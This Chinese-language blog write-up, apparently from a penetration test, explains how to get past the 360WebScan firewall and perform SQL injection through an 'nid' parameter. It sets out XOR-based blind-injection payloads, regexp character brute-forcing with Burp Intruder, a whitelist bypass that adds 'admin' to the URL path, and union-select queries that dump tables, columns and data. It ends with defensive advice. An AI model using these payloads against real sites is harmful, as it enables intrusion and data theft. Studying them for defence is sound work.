记一次对WebScan的Bypass
字数 1079 2025-08-18 11:37:42
绕过360WebScan防护的SQL注入技术详解
前言
本文详细分析如何绕过360WebScan防护进行SQL注入的技术方法,仅供安全研究与技术交流使用。请注意,本文涉及的漏洞已被修复,严禁用于非法用途。
一、初始探测与注入点判断
-
传统注入测试被拦截
and 1=1被拦截or也被拦截
-
使用按位异或运算(^)绕过
- 异或运算未被拦截,可以使用
xor - 基本异或规则:
- 1^1=0
- 1^0=1
- 0^0=0
- 异或运算未被拦截,可以使用
-
测试Payload示例
xxxnid=216^(1=1)^1
二、按位异或运算注入技术详解
1. 判断数据库名称长度
Payload构造:
xxxnid=216^(1=(if(1=(length(database())=1),1,0)))^1
爆破方法:
- 使用Burp Suite的Intruder模块
- 将数据库长度值设置为变量
- Payload类型设置为Numbers,遍历1-15
- 通过响应判断正确长度(本例中为13)
2. 获取数据库名称
技术选择:使用regexp正则注入
正则注入示例:
select user() regexp '^[a-z]'; -- 匹配用户名第一位
select user() regexp '^r[a-z]'; -- 匹配用户名第二位
其他可用盲注方法:
- like匹配注入
- left()函数
- mid()函数
- substr()函数
Payload构造:
xxxnid=216^(1=if(((database())regexp '^a'),1,0))^1
爆破过程:
- 使用包含大小写字母、数字和特殊符号的字典
- 依次爆破每个字符位置
- 注意:必须包含数字,否则可能遗漏关键信息
3. 获取表名
常规Payload示例:
select left((select table_name from information_schema.tables where table_schema='test' limit 0,1),1)='u';
构造Payload:
xxxnid=216^(1=left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='u')^1
遇到的问题:
from关键字被拦截- 尝试绕过方法:
- 内联注释
- 编码
- 干扰正则
- 均未成功
三、360WebScan白名单绕过技术
1. 绕过原理
360WebScan内置白名单机制,当URL路径中包含特定关键字(如admin)时会绕过检测。
2. 绕过方法
在URL路径中添加白名单关键字:
xxx/xxx/admin/?nid=216 union select 1,2,3,4,5,6,7,8 -- -
3. 白名单关键字示例
通过分析360WebScan源码,发现包含以下白名单路径:
- admin
- 其他管理相关路径(具体可参考源码)
四、完整注入流程
1. 获取当前数据库名称
xxx/xxx/admin/?nid=1 union select database(),2,3,4,5,6,7,8 -- -
2. 获取所有表名
xxx/xxx/admin/?nid=1 union select group_concat(table_name),2,3,4,5,6,7,8 from information_schema.tables where table_schema=database() -- -
3. 获取表字段
xxx/xxx/admin/?nid=1 union select group_concat(column_name),2,3,4,5,6,7,8 from information_schema.columns where table_name='表名' -- -
4. 获取数据内容
xxx/xxx/admin/?nid=1 union select group_concat(字段1),group_concat(字段2),3,4,5,6,7,8 from 表名 -- -
五、关键技巧总结
- 异或运算绕过:有效绕过对and/or等关键字的过滤
- 可显字段定位:
- 尝试不同页面
- 将参数ID改为负值
- 增加union select后的字段数量
- 白名单绕过:在路径中添加
admin等关键字绕过防护 - 爆破注意事项:
- 确保字典包含所有可能字符(字母、数字、符号)
- 使用Burp Suite等工具自动化爆破过程
六、防御建议
- 不要依赖单一WAF防护
- 使用参数化查询
- 实施最小权限原则
- 定期更新安全防护规则
- 对管理路径实施额外保护而非豁免